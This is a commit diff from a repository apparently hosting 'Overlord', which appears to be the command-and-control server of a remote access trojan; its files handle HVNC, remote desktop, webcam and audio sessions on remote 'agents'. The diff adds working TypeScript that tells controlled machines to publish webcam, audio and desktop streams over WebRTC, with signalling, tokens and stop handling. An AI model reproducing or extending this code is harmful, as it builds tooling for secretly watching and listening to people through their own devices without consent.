vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

web rtc for webcam, audio, etc.

Browse Source
This commit is contained in:
KingKDot
2026-05-13 20:19:21 -05:00
parent 05fe31f04e
commit bf093f5a7d
20 changed files with 986 additions and 199 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/src/server/routes/webrtc-routes.ts
+6 -3
View File
@@ -24,15 +24,18 @@ export function issueWebrtcPublishToken(clientId: string): string {
return token;
}
export function webrtcStreamPathFor(clientId: string): string {
return `agents/${clientId}`;
export type WebrtcKind = "desktop" | "webcam" | "audio";
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
return `agents/${clientId}/${kind}`;
}
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
if (!url.pathname.startsWith("/api/webrtc/")) return null;
const rest = url.pathname.slice("/api/webrtc/".length);
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
if (!match) return new Response("Not Found", { status: 404 });
const [, streamPath, kind, sessionSuffix] = match;
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+2
View File
@@ -809,6 +809,7 @@ export function handleWebSocketClose(
}
if (role === "webcam_viewer") {
deps.cleanupRdViewerP2P(ws);
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
if (sess.viewer === ws) {
@@ -822,6 +823,7 @@ export function handleWebSocketClose(
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "webcam_stop", {});
deps.sendDesktopCommand(target, "webrtc_stop", { kind: "webcam" });
deps.webcamStreamingState.delete(removedClientId);
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
}
Overlord-Server/src/server/ws-console-rd-hvnc.ts
+87 -14
View File
@@ -214,17 +214,22 @@ export const rdStreamingState = new Map<string, {
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
export type P2PKind = "desktop" | "webcam" | "audio";
type P2PSession = {
viewer: ServerWebSocket<SocketData>;
clientId: string;
kind: P2PKind;
};
const p2pAgentToViewer = new Map<string, P2PSession>();
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
export function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string, kind: P2PKind): string {
const prior = p2pViewerToAgent.get(ws);
if (prior) {
p2pAgentToViewer.delete(prior);
}
const sessionId = uuidv4();
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId, kind });
p2pViewerToAgent.set(ws, sessionId);
return sessionId;
}
@@ -233,14 +238,20 @@ function lookupP2PSession(sessionId: string): P2PSession | undefined {
return p2pAgentToViewer.get(sessionId);
}
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
export function getP2PSessionIdForViewer(ws: ServerWebSocket<SocketData>): string | undefined {
return p2pViewerToAgent.get(ws);
}
export function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>):
| { sessionId: string; clientId: string; kind: P2PKind }
| null {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) return null;
const entry = p2pAgentToViewer.get(sessionId);
p2pAgentToViewer.delete(sessionId);
p2pViewerToAgent.delete(ws);
if (!entry) return null;
return { sessionId, clientId: entry.clientId };
return { sessionId, clientId: entry.clientId, kind: entry.kind };
}
function pruneRdInputPending(now = Date.now()) {
@@ -415,13 +426,16 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
}
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId);
const streamPath = webrtcStreamPathFor(clientId, "desktop");
const token = issueWebrtcPublishToken(clientId);
const whipPath = `/api/webrtc/${streamPath}/whip`;
sendDesktopCommand(target, "webrtc_publish", {
streamPath,
whipPath,
token,
kind: "desktop",
hasVideo: true,
hasAudio: false,
});
safeSendViewer(ws, {
type: "webrtc_ready",
@@ -442,7 +456,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
.filter(s => s.id !== ws.data.sessionId);
if (otherViewers.length === 0) {
sendDesktopCommand(target, "desktop_stop", {});
sendDesktopCommand(target, "webrtc_stop", {});
sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
if (state.isStreaming) {
state.isStreaming = false;
rdStreamingState.set(clientId, state);
@@ -591,8 +605,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId);
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
const sessionId = createP2PSession(ws, clientId, "desktop");
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "desktop", hasVideo: true, hasAudio: false });
break;
}
case "webrtc_p2p_ice": {
@@ -602,6 +616,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
if (!candidate) break;
sendDesktopCommand(target, "webrtc_p2p_ice", {
sessionId,
kind: "desktop",
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
@@ -611,7 +626,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
}
break;
}
@@ -620,13 +635,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
}
function sendP2PSignalingToViewer(session: P2PSession, msg: Record<string, unknown>) {
if (session.kind === "audio") {
try { session.viewer.send(JSON.stringify(msg)); } catch (err) {
logger.error("[audio] p2p signaling send failed", err);
}
return;
}
safeSendViewer(session.viewer, msg);
}
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
if (!sessionId || !sdp) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
sendP2PSignalingToViewer(session, { type: "webrtc_p2p_answer", sdp });
}
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
@@ -635,7 +660,7 @@ export function handleWebrtcP2PIce(_clientId: string, payload: any) {
if (!sessionId || !candidate) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, {
sendP2PSignalingToViewer(session, {
type: "webrtc_p2p_ice",
candidate,
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
@@ -643,15 +668,17 @@ export function handleWebrtcP2PIce(_clientId: string, payload: any) {
});
}
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
export function cleanupViewerP2P(ws: ServerWebSocket<SocketData>) {
const cleared = clearP2PSessionForViewer(ws);
if (!cleared) return;
const target = clientManager.getClient(cleared.clientId);
if (target) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
}
}
export const cleanupRdViewerP2P = cleanupViewerP2P;
function handleRemoteDesktopFrame(payload: any) {
const clientId = payload.clientId as string;
const header = payload.header;
@@ -826,6 +853,23 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
if (!state.isStreaming) {
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
sendDesktopCommand(target, "webcam_set_quality", { quality: state.quality, codec: state.codec });
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId, "webcam");
const token = issueWebrtcPublishToken(clientId);
sendDesktopCommand(target, "webrtc_publish", {
streamPath,
whipPath: `/api/webrtc/${streamPath}/whip`,
token,
kind: "webcam",
hasVideo: true,
hasAudio: false,
});
safeSendViewer(ws, {
type: "webrtc_ready",
streamPath,
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendDesktopCommand(target, "webcam_start", {});
state.isStreaming = true;
webcamStreamingState.set(clientId, state);
@@ -845,6 +889,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
.filter(s => s.id !== ws.data.sessionId);
if (otherWebcamViewers.length === 0) {
sendDesktopCommand(target, "webcam_stop", {});
sendDesktopCommand(target, "webrtc_stop", { kind: "webcam" });
state.isStreaming = false;
webcamStreamingState.set(clientId, state);
} else {
@@ -852,6 +897,34 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
break;
}
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId, "webcam");
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "webcam", hasVideo: true, hasAudio: false });
break;
}
case "webrtc_p2p_ice": {
const sessionId = p2pViewerToAgent.get(ws);
if (!sessionId) break;
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
if (!candidate) break;
sendDesktopCommand(target, "webrtc_p2p_ice", {
sessionId,
kind: "webcam",
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
});
break;
}
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
}
break;
}
default:
break;
}
Overlord-Server/src/server/ws-desktop-audio.ts
+88 -19
View File
@@ -5,10 +5,17 @@ import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { DesktopAudioViewer, SocketData } from "../sessions/types";
import { canUserAccessClient } from "../users";
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
import {
cleanupViewerP2P,
clearP2PSessionForViewer,
createP2PSession,
getP2PSessionIdForViewer,
} from "./ws-console-rd-hvnc";
function sendDesktopAudioCommand(
clientId: string,
commandType: "desktop_audio_start" | "desktop_audio_stop",
commandType: "desktop_audio_start" | "desktop_audio_stop" | "webrtc_publish" | "webrtc_stop" | "webrtc_p2p_offer" | "webrtc_p2p_ice" | "webrtc_p2p_stop",
payload: Record<string, unknown>,
) {
const target = clientManager.getClient(clientId);
@@ -58,26 +65,86 @@ export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const { clientId } = ws.data;
if (typeof raw === "string") {
try {
const message = JSON.parse(raw);
if (message?.type === "start") {
const source = typeof message?.source === "string" ? message.source : "system";
const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
source,
sessionId: ws.data.sessionId,
});
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
return;
}
if (message?.type === "stop") {
sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
safeJson(ws, { type: "status", status: "disconnected" });
}
} catch {
}
if (typeof raw !== "string") return;
let message: any;
try {
message = JSON.parse(raw);
} catch {
return;
}
if (!message || typeof message.type !== "string") return;
switch (message.type) {
case "start": {
const source = typeof message.source === "string" ? message.source : "system";
const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
source,
sessionId: ws.data.sessionId,
});
if (message.webrtc === true && started) {
const streamPath = webrtcStreamPathFor(clientId, "audio");
const token = issueWebrtcPublishToken(clientId);
sendDesktopAudioCommand(clientId, "webrtc_publish", {
streamPath,
whipPath: `/api/webrtc/${streamPath}/whip`,
token,
kind: "audio",
hasVideo: false,
hasAudio: true,
});
safeJson(ws, {
type: "webrtc_ready",
streamPath,
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
return;
}
case "stop": {
sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
sendDesktopAudioCommand(clientId, "webrtc_stop", { kind: "audio" });
safeJson(ws, { type: "status", status: "disconnected" });
return;
}
case "webrtc_p2p_offer": {
const sdp = typeof message.sdp === "string" ? message.sdp : "";
if (!sdp) return;
const sessionId = createP2PSession(ws, clientId, "audio");
sendDesktopAudioCommand(clientId, "webrtc_p2p_offer", {
sessionId,
sdp,
kind: "audio",
hasVideo: false,
hasAudio: true,
});
return;
}
case "webrtc_p2p_ice": {
const sessionId = getP2PSessionIdForViewer(ws);
if (!sessionId) return;
const candidate = typeof message.candidate === "string" ? message.candidate : "";
if (!candidate) return;
sendDesktopAudioCommand(clientId, "webrtc_p2p_ice", {
sessionId,
kind: "audio",
candidate,
sdpMid: typeof message.sdpMid === "string" ? message.sdpMid : "",
sdpMLineIndex: Number(message.sdpMLineIndex) || 0,
});
return;
}
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendDesktopAudioCommand(clientId, "webrtc_p2p_stop", {
sessionId: cleared.sessionId,
kind: cleared.kind,
});
}
return;
}
}
}
export function handleDesktopAudioUplink(clientId: string, payload: any) {
@@ -101,6 +168,7 @@ export function handleDesktopAudioUplink(clientId: string, payload: any) {
}
export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
cleanupViewerP2P(ws);
let removedClientId = ws.data.clientId;
for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
if (session.viewer === ws) {
@@ -113,5 +181,6 @@ export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
if (!hasViewers) {
sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
sendDesktopAudioCommand(removedClientId, "webrtc_stop", { kind: "audio" });
}
}